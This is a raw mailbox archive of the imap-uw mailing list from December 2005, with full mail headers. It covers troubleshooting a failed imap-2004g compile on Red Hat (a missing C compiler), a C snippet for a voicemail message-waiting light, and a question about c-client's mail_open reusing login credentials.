mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGKoKat009415 for ; Fri, 16 Dec 2005 12:50:20 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGKoJWK032683 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 12:50:20 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGKoG5D011665 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 16 Dec 2005 12:50:16 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGKoGFW000698; Fri, 16 Dec 2005 12:50:16 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGKoDdP000679 for ; Fri, 16 Dec 2005 12:50:13 -0800 Received: from wwsail.com (wwsail.com [64.28.105.43]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGKoAQW014912 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 16 Dec 2005 12:50:11 -0800 Received: from dol.duhe.com (pool-68-238-152-4.dllstx.fios.verizon.net [68.238.152.4]) by wwsail.com (8.12.11/8.12.11) with ESMTP id jBGKo7Cj024769 for ; Fri, 16 Dec 2005 14:50:09 -0600 Message-Id: <5.2.1.1.0.20051216144532.012118c8@www.duhe.com> X-Sender: duhe@duhe.com@www.duhe.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.2.1 Date: Fri, 16 Dec 2005 14:50:25 -0600 To: imap-uw@u.washington.edu From: "Edward Duhe'" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__ANY_QUALCOMM_MUA 0, __CT 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Compile Error on Red Hat X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I am trying to compile the imap-2004g on a red hat installation. I am getting the errors below and cannot get any further. Anyone have any ideas what might be wrong? Thanks, Edward ... Standard password authentication ln -s ckp_psx.c osdepckp.c Building with SSL ln -s ssl_unix.c osdepssl.c echo -I/usr/local/ssl/include -I/usr/local/ssl/include/openssl -DSSL_CERT_DIRECTORY=\"/usr/local/ssl/certs\" -DSSL_KEY_DIRECTORY=\"/usr/local/ssl/certs\" >> OSCFLAGS echo " ssl_onceonlyinit ();" >> linkage.c echo -L/usr/local/ssl/lib -lssl -lcrypto >> LDFLAGS Building with SSL and plaintext passwords disabled unless SSL/TLS echo " mail_parameters (NIL,SET_DISABLEPLAINTEXT,(void *) 2);" >> linkage.c cat osdepbas.c osdepckp.c osdeplog.c osdepssl.c > osdep.c Building OS-dependent module If you get No such file error messages for files x509.h, ssl.h, pem.h, buffer.h, bio.h, and crypto.h, that means that OpenSSL is not installed on your system. Either install OpenSSL first or build with command: make slx SSLTYPE=none `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c /bin/sh: line 1: cc: command not found make[3]: *** [osdep.o] Error 127 make[3]: Leaving directory `/root/imap-2004g/c-client' make[2]: *** [slx] Error 2 make[2]: Leaving directory `/root/imap-2004g/c-client' make[1]: *** [OSTYPE] Error 2 make[1]: Leaving directory `/root/imap-2004g' make: *** [slx] Error 2 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 16 13:23:52 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Dec 2005 13:23:52 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGLNqpv011117 for ; Fri, 16 Dec 2005 13:23:52 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGLNpCA002471 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 13:23:51 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGLNloG012131 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 16 Dec 2005 13:23:47 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGLNlCh004605; Fri, 16 Dec 2005 13:23:47 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGLNksi004597 for ; Fri, 16 Dec 2005 13:23:46 -0800 Received: from lisbon.cc.columbia.edu (lisbon.cc.columbia.edu [128.59.39.12]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGLNjQC006755 for ; Fri, 16 Dec 2005 13:23:45 -0800 Received: from lisbon.cc.columbia.edu (localhost [127.0.0.1]) by lisbon.cc.columbia.edu (8.13.0/8.13.0) with ESMTP id jBGLNitQ010304; Fri, 16 Dec 2005 16:23:44 -0500 (EST) Received: (from selsky@localhost) by lisbon.cc.columbia.edu (8.13.0/8.12.3/Submit) id jBGLNhtN010303; Fri, 16 Dec 2005 16:23:43 -0500 (EST) Date: Fri, 16 Dec 2005 16:23:42 -0500 From: Matt Selsky To: "Edward Duhe'" Subject: Re: [Imap-uw] Compile Error on Red Hat Message-ID: <20051216212342.GC10218@columbia.edu> References: <5.2.1.1.0.20051216144532.012118c8@www.duhe.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5.2.1.1.0.20051216144532.012118c8@www.duhe.com> User-Agent: Mutt/1.5.11 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Do you have the gcc RPMs installed? -- Matt On Fri, Dec 16, 2005 at 02:50:25PM -0600, Edward Duhe' wrote: > I am trying to compile the imap-2004g on a red hat installation. I am > getting the errors below and cannot get any further. Anyone have any ideas > what might be wrong? > > Thanks, > Edward > > ... > Standard password authentication > ln -s ckp_psx.c osdepckp.c > Building with SSL > ln -s ssl_unix.c osdepssl.c > echo -I/usr/local/ssl/include -I/usr/local/ssl/include/openssl > -DSSL_CERT_DIRECTORY=\"/usr/local/ssl/certs\" > -DSSL_KEY_DIRECTORY=\"/usr/local/ssl/certs\" >> OSCFLAGS > echo " ssl_onceonlyinit ();" >> linkage.c > echo -L/usr/local/ssl/lib -lssl -lcrypto >> LDFLAGS > Building with SSL and plaintext passwords disabled unless SSL/TLS > echo " mail_parameters (NIL,SET_DISABLEPLAINTEXT,(void *) 2);" >> linkage.c > cat osdepbas.c osdepckp.c osdeplog.c osdepssl.c > osdep.c > Building OS-dependent module > If you get No such file error messages for files x509.h, ssl.h, > pem.h, buffer.h, bio.h, and crypto.h, that means that OpenSSL > is not installed on your system. Either install OpenSSL first > or build with command: make slx SSLTYPE=none > `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c > /bin/sh: line 1: cc: command not found > make[3]: *** [osdep.o] Error 127 > make[3]: Leaving directory `/root/imap-2004g/c-client' > make[2]: *** [slx] Error 2 > make[2]: Leaving directory `/root/imap-2004g/c-client' > make[1]: *** [OSTYPE] Error 2 > make[1]: Leaving directory `/root/imap-2004g' > make: *** [slx] Error 2 > > > > > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 16 13:47:03 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Dec 2005 13:47:03 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGLl2SX012294 for ; Fri, 16 Dec 2005 13:47:02 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGLl1IS003988 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 13:47:02 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGLkwRG023046 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 16 Dec 2005 13:46:58 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGLkvGZ007079; Fri, 16 Dec 2005 13:46:57 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGLkvfc007071 for ; Fri, 16 Dec 2005 13:46:57 -0800 Received: from mx3.liv.ac.uk (mx3.liv.ac.uk [138.253.100.181]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBGLksJK013797 for ; Fri, 16 Dec 2005 13:46:54 -0800 Received: from mailhub1.liv.ac.uk ([138.253.100.94]) by mx3.liv.ac.uk with esmtp (Exim 4.52) id 1EnNPh-0007bc-Nc for imap-uw@u.washington.edu; Fri, 16 Dec 2005 21:46:53 +0000 Received: from localhost ([127.0.0.1] helo=mailhub1.liv.ac.uk) by mailhub1.liv.ac.uk with esmtp (Exim 4.52) id 1EnNPh-0001AO-L6; Fri, 16 Dec 2005 21:46:53 +0000 Received: from netserve2.liv.ac.uk ([138.253.100.139]) by mailhub1.liv.ac.uk with esmtp (Exim 4.52) id 1EnNPh-0001AJ-Hn; Fri, 16 Dec 2005 21:46:53 +0000 Received: (from qq11@localhost) by netserve2.liv.ac.uk (8.11.7p1+Sun/8.10.2/ajt05Jan2002) id jBGLkq808814; Fri, 16 Dec 2005 21:46:52 GMT Date: Fri, 16 Dec 2005 21:46:52 +0000 (GMT) From: Alan Thew X-X-Sender: qq11@netserve2.liv.ac.uk To: "Edward Duhe'" Subject: Re: [Imap-uw] Compile Error on Red Hat In-Reply-To: <5.2.1.1.0.20051216144532.012118c8@www.duhe.com> Message-ID: References: <5.2.1.1.0.20051216144532.012118c8@www.duhe.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 16 Dec 2005 14:50 , Edward Duhe' said: > I am trying to compile the imap-2004g on a red hat installation. I am getting > the errors below and cannot get any further. Anyone have any ideas what might > be wrong? Apart from gcc issues mentioned by another poster, it's best to use build lrh as well. Alan Thew > > Thanks, > Edward > > ... > Standard password authentication > ln -s ckp_psx.c osdepckp.c > Building with SSL > ln -s ssl_unix.c osdepssl.c > echo -I/usr/local/ssl/include -I/usr/local/ssl/include/openssl > -DSSL_CERT_DIRECTORY=\"/usr/local/ssl/certs\" > -DSSL_KEY_DIRECTORY=\"/usr/local/ssl/certs\" >> OSCFLAGS > echo " ssl_onceonlyinit ();" >> linkage.c > echo -L/usr/local/ssl/lib -lssl -lcrypto >> LDFLAGS > Building with SSL and plaintext passwords disabled unless SSL/TLS > echo " mail_parameters (NIL,SET_DISABLEPLAINTEXT,(void *) 2);" >> linkage.c > cat osdepbas.c osdepckp.c osdeplog.c osdepssl.c > osdep.c > Building OS-dependent module > If you get No such file error messages for files x509.h, ssl.h, > pem.h, buffer.h, bio.h, and crypto.h, that means that OpenSSL > is not installed on your system. Either install OpenSSL first > or build with command: make slx SSLTYPE=none > `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c > /bin/sh: line 1: cc: command not found > make[3]: *** [osdep.o] Error 127 > make[3]: Leaving directory `/root/imap-2004g/c-client' > make[2]: *** [slx] Error 2 > make[2]: Leaving directory `/root/imap-2004g/c-client' > make[1]: *** [OSTYPE] Error 2 > make[1]: Leaving directory `/root/imap-2004g' > make: *** [slx] Error 2 > > > > > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 16 18:37:29 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 16 Dec 2005 18:37:29 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBH2bTQM025555 for ; Fri, 16 Dec 2005 18:37:29 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBH2bS3o024900 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 18:37:28 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBH2bOLW030756 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 16 Dec 2005 18:37:24 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBH2bOpF002586; Fri, 16 Dec 2005 18:37:24 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBH2bNMG002578 for ; Fri, 16 Dec 2005 18:37:23 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBH2bNLq023185 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 16 Dec 2005 18:37:23 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBH2bM8p029346 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 16 Dec 2005 18:37:22 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBH2bMEd009526 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 16 Dec 2005 18:37:22 -0800 Date: Fri, 16 Dec 2005 18:37:24 -0800 (Pacific Standard Time) From: Mark Crispin To: Mark Sirota Subject: Re: [Imap-uw] IDLE in c-client In-Reply-To: <76EBF66593AB7BE3059A731A@marmaduke.net.isc.upenn.edu> Message-ID: References: <9CC9FD2F161DF0750E0FD9F3@marmaduke.net.isc.upenn.edu> <76EBF66593AB7BE3059A731A@marmaduke.net.isc.upenn.edu> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 16 Dec 2005, Mark Sirota wrote: > We've already got the delivery side. It's easy when a message is played > via the telephone interface, because that's the same software that manages > the message waiting indicator. The challenge is when someone listens to a > voice message by way of their regular IMAP e-mail client. > > Perhaps whenever a message is read, the IMAP server could send a message > to an external routine that would determine whether this was the last > unread voicemail message in the mailbox. I think that this depends upon the store that holds the voice mail messages. Assuming that it is IMAP-friendly and holds \Seen status, then either the store itself can recognize that the number of not-\Seen messages has fallen to zero, or the driver for that store in the IMAP server can do something like the following in the "flag" method (the one called for the entire mailbox at the end of flagging, as opposed to the "flagmsg" method): for (i = 1,lite = NIL; !lite && (i <= stream->nmsgs); ++i) if (mail_elt (stream,i)->seen) lite = T; Then turn the light off iff lite is NIL afterwards. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Dec 19 16:46:38 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Dec 2005 16:46:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBK0kctr028428 for ; Mon, 19 Dec 2005 16:46:38 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBK0kbm3031108 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 19 Dec 2005 16:46:37 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBK0kXEf012443 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 19 Dec 2005 16:46:33 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBK0kX8G011389; Mon, 19 Dec 2005 16:46:33 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBK0kXU7011381 for ; Mon, 19 Dec 2005 16:46:33 -0800 Received: from wwsail.com (wwsail.com [64.28.105.43]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBK0kWRi007070 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 19 Dec 2005 16:46:32 -0800 Received: from dol.duhe.com (pool-68-238-152-4.dllstx.fios.verizon.net [68.238.152.4]) by wwsail.com (8.12.11/8.12.11) with ESMTP id jBK0kKFa014818; Mon, 19 Dec 2005 18:46:23 -0600 Message-Id: <5.2.1.1.0.20051219184624.01125d48@www.duhe.com> X-Sender: duhe@duhe.com@www.duhe.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.2.1 Date: Mon, 19 Dec 2005 18:46:26 -0600 To: Matt Selsky From: "Edward Duhe'" Subject: Re: [Imap-uw] Compile Error on Red Hat Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__ANY_QUALCOMM_MUA 0, __CT 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thanks Matt, When I check the rpms installed I so have libgcc-3.2.3-49 listed so I assume that it is installed. Is there something else that I need? Thanks, Edward At 04:23 PM 12/16/2005 -0500, Matt Selsky wrote: >Do you have the gcc RPMs installed? > > >-- >Matt > >On Fri, Dec 16, 2005 at 02:50:25PM -0600, Edward Duhe' wrote: > > I am trying to compile the imap-2004g on a red hat installation. I am > > getting the errors below and cannot get any further. Anyone have any > ideas > > what might be wrong? > > > > Thanks, > > Edward > > > > ... > > Standard password authentication > > ln -s ckp_psx.c osdepckp.c > > Building with SSL > > ln -s ssl_unix.c osdepssl.c > > echo -I/usr/local/ssl/include -I/usr/local/ssl/include/openssl > > -DSSL_CERT_DIRECTORY=\"/usr/local/ssl/certs\" > > -DSSL_KEY_DIRECTORY=\"/usr/local/ssl/certs\" >> OSCFLAGS > > echo " ssl_onceonlyinit ();" >> linkage.c > > echo -L/usr/local/ssl/lib -lssl -lcrypto >> LDFLAGS > > Building with SSL and plaintext passwords disabled unless SSL/TLS > > echo " mail_parameters (NIL,SET_DISABLEPLAINTEXT,(void *) 2);" >> > linkage.c > > cat osdepbas.c osdepckp.c osdeplog.c osdepssl.c > osdep.c > > Building OS-dependent module > > If you get No such file error messages for files x509.h, ssl.h, > > pem.h, buffer.h, bio.h, and crypto.h, that means that OpenSSL > > is not installed on your system. Either install OpenSSL first > > or build with command: make slx SSLTYPE=none > > `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c > > /bin/sh: line 1: cc: command not found > > make[3]: *** [osdep.o] Error 127 > > make[3]: Leaving directory `/root/imap-2004g/c-client' > > make[2]: *** [slx] Error 2 > > make[2]: Leaving directory `/root/imap-2004g/c-client' > > make[1]: *** [OSTYPE] Error 2 > > make[1]: Leaving directory `/root/imap-2004g' > > make: *** [slx] Error 2 > > > > > > > > > > _______________________________________________ > > Imap-uw mailing list > > Imap-uw@u.washington.edu > > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Dec 20 01:25:35 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Dec 2005 01:25:35 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBK9PY3L018631 for ; Tue, 20 Dec 2005 01:25:34 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBK9PXdG015326 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Dec 2005 01:25:34 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBK9PU6E021432 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 20 Dec 2005 01:25:30 -0800 Message-Id: <200512200925.jBK9PU6E021432@mxout4.cac.washington.edu> Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBK9PTra010456; Tue, 20 Dec 2005 01:25:29 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBK9PSxN010448 for ; Tue, 20 Dec 2005 01:25:28 -0800 Received: from mailer.unicite.fr.netcentrex.net (mailer.fr.netcentrex.net [62.161.167.249]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBK9PPnj018187 for ; Tue, 20 Dec 2005 01:25:27 -0800 Received: from DROOPY ([192.168.100.185]) by mailer.unicite.fr.netcentrex.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id Y7YLGF17; Tue, 20 Dec 2005 10:25:22 +0100 From: "Guillaume Vaillant" To: Subject: [Imap-uw] pb with mail_open function Date: Tue, 20 Dec 2005 10:25:21 +0100 Organization: NetCentrex MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1506 Thread-Index: AcYFR0zQLz1kILd2TK2g7ewVOQ4ygg== X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='HTML_70_90 0.1, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __HTML_FONT_BLUE 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __TAG_EXISTS_HTML 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0362694906==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multi-part message in MIME format. --===============0362694906== Content-Type: multipart/alternative; boundary="----=_NextPart_000_03DD_01C6054F.AEF98060" This is a multi-part message in MIME format. ------=_NextPart_000_03DD_01C6054F.AEF98060 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello I have a problem with a program i have done. This program is linked with the c-client.a library. The program performs a first mail_open request which works fine (the mm_login callback is called and I set here the login and password) And then it performs a second mail_open with the same STREAMS. In the documentation I have seen that's it's authorized and that the IMAP library will automatically close the first STREAMS. But in this case the mm_login callback is not called ans this second connection was done with the login and password of the first connection. Is it normal ? How can i change the login and password for the second connection ? I want to know if I have not correctly understood the documentation or if I have made a mistake in my code Thanks Guyom. ------=_NextPart_000_03DD_01C6054F.AEF98060 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
    Hello
     
    I have = a problem=20 with a program i have done. This program is linked with the c-client.a=20 library.
    The program  performs a first = mail_open=20 request which works fine (the mm_login = callback=20 is called and I set here the login and=20 password)
    And then it performs a = second=20 mail_open with the same STREAMS. In the documentation I have = seen=20 that's it's authorized and that the IMAP library=20 will automatically close the first=20 STREAMS.
    But in this = case the=20 mm_login callback is not called ans this second connection was done with = the=20 login and password of the first = connection.
    Is it normal = ?
    How can i = change the=20 login and password for the second connection = ?
     
    I want to = know if I have=20 not correctly understood the documentation or if I have made a mistake = in my=20 code
     
    Thanks
    Guyom.
